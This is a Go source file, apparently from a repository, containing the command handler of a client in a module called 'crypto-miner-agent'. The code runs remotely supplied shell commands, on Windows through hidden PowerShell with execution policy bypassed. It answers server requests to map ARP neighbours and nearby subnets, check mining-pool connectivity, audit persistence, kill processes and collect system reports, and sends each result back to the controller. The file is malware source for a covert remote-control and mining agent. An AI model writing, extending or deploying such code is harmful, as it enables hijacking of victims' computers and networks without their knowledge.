82 lines
2.2 KiB
Go
82 lines
2.2 KiB
Go
package client
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"os/exec"
|
|
"runtime"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/deploy"
|
|
)
|
|
|
|
func (c *AgentClient) runShellCommand(command string) ([]byte, error) {
|
|
if runtime.GOOS == "windows" {
|
|
return silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", command)
|
|
}
|
|
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
|
}
|
|
|
|
func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
|
|
if runtime.GOOS == "windows" {
|
|
return silentCombinedOutput("cmd.exe", "/C", command)
|
|
}
|
|
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
|
}
|
|
|
|
func (c *AgentClient) handleReconCommand(action, command string) bool {
|
|
if action == "connectivity_probe" {
|
|
probe := runConnectivityProbe(c.cfg.ServerURL, c.cfg.PoolHost, c.cfg.PoolPort)
|
|
b, _ := json.Marshal(probe)
|
|
c.sendCommandResult(action, true, string(b))
|
|
return true
|
|
}
|
|
if action == "arp_neighbors" {
|
|
ips := deploy.ArpNeighborIPs()
|
|
b, _ := json.Marshal(map[string]interface{}{
|
|
"neighbors": ips,
|
|
"count": len(ips),
|
|
})
|
|
c.sendCommandResult(action, true, string(b))
|
|
return true
|
|
}
|
|
if action == "network_recon" {
|
|
hints := deploy.CollectPassiveNetworkHints(deploy.MaxSubnetScanHosts)
|
|
b, _ := json.Marshal(hints)
|
|
c.sendCommandResult(action, true, string(b))
|
|
return true
|
|
}
|
|
if action == "persistence_audit" {
|
|
report := collectPersistenceAudit()
|
|
b, _ := json.Marshal(report)
|
|
c.sendCommandResult(action, true, string(b))
|
|
return true
|
|
}
|
|
if action == "kill_process" {
|
|
pid := strings.TrimSpace(command)
|
|
if pid == "" {
|
|
c.sendCommandResult(action, false, "pid is required in command field")
|
|
return true
|
|
}
|
|
ok, msg := killProcessByPID(pid)
|
|
c.sendCommandResult(action, ok, msg)
|
|
return true
|
|
}
|
|
if action == "full_sys_check" {
|
|
report := CollectFullSysCheck(c.cfg, c.agentID)
|
|
c.sendCommandResult(action, true, report.JSON())
|
|
return true
|
|
}
|
|
|
|
handled, success, msg := c.platformRecon(action, command)
|
|
if !handled {
|
|
return false
|
|
}
|
|
c.sendCommandResult(action, success, msg)
|
|
return true
|
|
}
|
|
|
|
func formatCmdErr(err error, out []byte) string {
|
|
return fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))
|
|
}
|